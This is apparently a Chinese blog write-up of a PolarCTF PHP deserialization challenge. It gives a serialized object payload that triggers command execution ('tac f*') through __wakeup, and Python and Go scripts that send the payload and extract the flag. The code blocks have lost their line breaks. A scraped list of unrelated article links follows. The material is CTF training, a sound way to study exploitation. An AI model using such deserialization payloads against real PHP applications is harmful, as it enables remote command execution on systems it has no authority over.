当前位置: 首页 > news >正文

Polar Web【简单】PHP反序列化初试

Polar Web【简单】PHP反序列化初试

Contents

  • Polar Web【简单】PHP反序列化初试
    • 思路
    • EXP
      • 手动
      • 脚本
        • Python
        • Go
    • 运行&总结

思路

启动环境,显示下图中的PHP代码,于是展开分析:

  1. 首先发现Easy类中有魔术函数 __wakeup() ,实现的是对成员变量 $name 的回显。
  2. 观察下方发现, unserialize() 函数将触发该魔术函数的执行,因此考虑构造序列字符串传入该类的成员变量 $name 中,以触发命令执行。
  • 本题分别使用手动注入和脚本运行两种方式进行解答。

code

EXP

手动

manual
flag

脚本

Python
import requestsdef attack(url, payload):url += payloadres = (requests.get(url).content.decode('utf8'))if res:print(res[res.rindex('flag'):res.rindex('"')])if __name__ == '__main__':site = 'http://~.www.polarctf.com:8090/'pl = '?easy=O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:6:"tac f*";s:3:"env";N;}}'attack(site, pl)
Go
package mainimport ("fmt""io/ioutil""net/http""net/url""strings"
)func attack(url string) {//fmt.Println("url:", url)if resp, err := http.Get(url); err != nil {panic("GET ERR: " + err.Error())} else {out, _ := ioutil.ReadAll(resp.Body)ans := string(out)fmt.Println(ans[strings.LastIndex(ans, "flag"): strings.LastIndex(ans, "\"")])}
}func main() {baseURL := "http://~.www.polarctf.com:8090/"// 解析基础 URLu, err := url.Parse(baseURL)if err != nil {panic(err)}// 解析查询字符串q, err := url.ParseQuery(u.RawQuery)if err != nil {panic(err)}// 添加或更新查询参数q.Set("easy", "O:4:\"Easy\":1:{s:4:\"name\";O:4:\"Evil\":2:{s:4:\"evil\";s:6:\"tac f*\";s:3:\"env\";N;}}")// 编码查询字符串u.RawQuery = q.Encode()attack(u.String())
}
  • !注意 !在Go语言中,为了防止特殊的字符导致URL被截断引发HTTP请求异常,需要对原生URL进行编码处理

运行&总结

run

  • 本题考查PHP代码分析、反序列化以及序列构造的技巧
  • 需要对PHP面向对象设计有所认识






敬,不完美的明天
http://www.lryc.cn/news/368150.html

相关文章:

  • 树莓派4B 零起点(二) 树莓派 更换软件源和软件仓库
  • Pytorch 实现目标检测二(Pytorch 24)
  • 如何使用Python中的列表解析(list comprehension)进行高效列表操作
  • java使用websocket遇到的问题
  • [Cloud Networking] Layer 2
  • [240609] qwen2 发布,在 Ollama 已可用 | 采用语言模型构建通用 AGI(2020年8月)
  • 赶紧收藏!2024 年最常见 20道分布式、微服务面试题(五)
  • 为什么Kubernetes(K8S)弃用Docker:深度解析与未来展望
  • 软件游戏提示msvcp120.dll丢失的解决方法,总结多种靠谱的解决方法
  • 使用kafka tools工具连接带有用户名密码的kafka
  • [个人感悟] Java基础问题应该考察哪些问题?
  • MySQL-主从复制
  • 开发没有尽头,尽力既是完美
  • 【手推公式】如何求SDE的解(附录B)
  • STM32F103单片机工程移植到航顺单片机HK32F103注意事项
  • Llama模型家族之Stanford NLP ReFT源代码探索 (四)Pyvene论文学习
  • rapidjson 打包过程插入对象
  • NVeloDocx一个基于NVelocity的word模版引擎
  • 【JavaEE】Spring IoCDI详解
  • Bean的作用域
  • 卡尔曼滤波器例子
  • Web前端发展路线:深度解析与未来展望
  • Unity3D入门基础知识汇总
  • Triton学习笔记
  • 办理公司诉讼记录删除行政处罚记录删除
  • IO流字符流(FileReader与FileWriter)
  • 使用 GPT-4 创作高考作文 2024年
  • 计算机网络 期末复习(谢希仁版本)第5章
  • CSAPP Lab01——Data Lab完成思路
  • 将小爱音箱接入 ChatGPT 和豆包,改造成你的专属语音助手